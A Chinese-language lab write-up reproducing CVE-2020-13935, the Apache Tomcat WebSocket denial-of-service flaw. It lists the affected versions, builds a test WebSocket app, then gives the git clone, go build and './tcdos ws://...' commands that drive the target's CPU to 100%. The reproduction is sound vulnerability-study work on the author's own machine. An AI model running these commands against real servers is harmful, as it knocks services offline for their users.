Tomcat:一款流行的java web应用服务器
使用环境:本地搭建的环境
复现版本:apache-tomcat-8.5.56
靶机系统:2008_r2_standard_zh-chs
下载并解压apache-tomcat-8.5.56
进入目录bin并执行startup.bat,出现“Server startup in xx ms”,通常表示启动成功,如下图
访问http://172.16.35.133:8080/,确认服务成功启动,如下图
接下来需要操作如下8个步骤:
1、JDK安装配置
2、Apache Tomcat安装配置
3、Eclipse IDE for Java EE安装配置
4、Tomcat运行时环境在Eclipse IDE for Java EE中配置
5、Eclipse中建立动态web项目
6、创建"Hello World" Servlet和JSP视图
7、在Eclipse中运行动态web项目
8、导出为WAR文件并部署到Tomcat中
写好的websocket应用见文件WebSocketServlet.java,部署好的websocket应用见下图
在火狐浏览器的开发者工具的控制台中依次执行WebSocketClient.js中的javascript代码,当执行完“client.connect();”,eclipse中tomcat控制台出现“onOpen::0”时,表示websocket应用部署成功,如下图
导出为DemoTwo.war并部署到tomcat中
Tomcat上部署了WebSocket应用
9.0.0.M1 <= apache tomcat <= 9.0.36
10.0.0-M1 <= apache tomcat <= 10.0.0-M6
8.5.0 <= apache tomcat <= 8.5.56
7.0.27 <= apache tomcat <= 7.0.104
攻击系统:Kali-Linux-2020.2-vmware-amd64
复现针对自己编写的websocket应用:
执行如下命令:
git clone https://github.com/RedTeamPentesting/CVE-2020-13935
cd CVE-2020-13935
go build
./tcdos ws://172.16.35.133:8080/DemoTwo/endpoint
执行后靶机系统CPU骤升到100%,如下图
此时,tomcat管理控制台显示如下
复现针对自带的websocket应用:
首先访问http://172.16.35.133:8080/examples/websocket/确认存在WebSocket应用,如下图
执行如下命令:
./tcdos ws://172.16.35.133:8080/examples/websocket/echoProgrammatic
执行后靶机系统CPU骤升到100%,如下图
坑1:
执行go build后,可能会报如下错误
此时需要一些合理上网方式,成功执行后如下图
https://www.anquanke.com/post/id/221861
https://github.com/RedTeamPentesting/CVE-2020-13935
https://www.pegaxchange.com/2018/01/28/websocket-server-java/
https://www.pegaxchange.com/2016/09/02/java-eclipse-tomcat/
https://www.cnblogs.com/xdp-gacl/p/5193279.html
https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/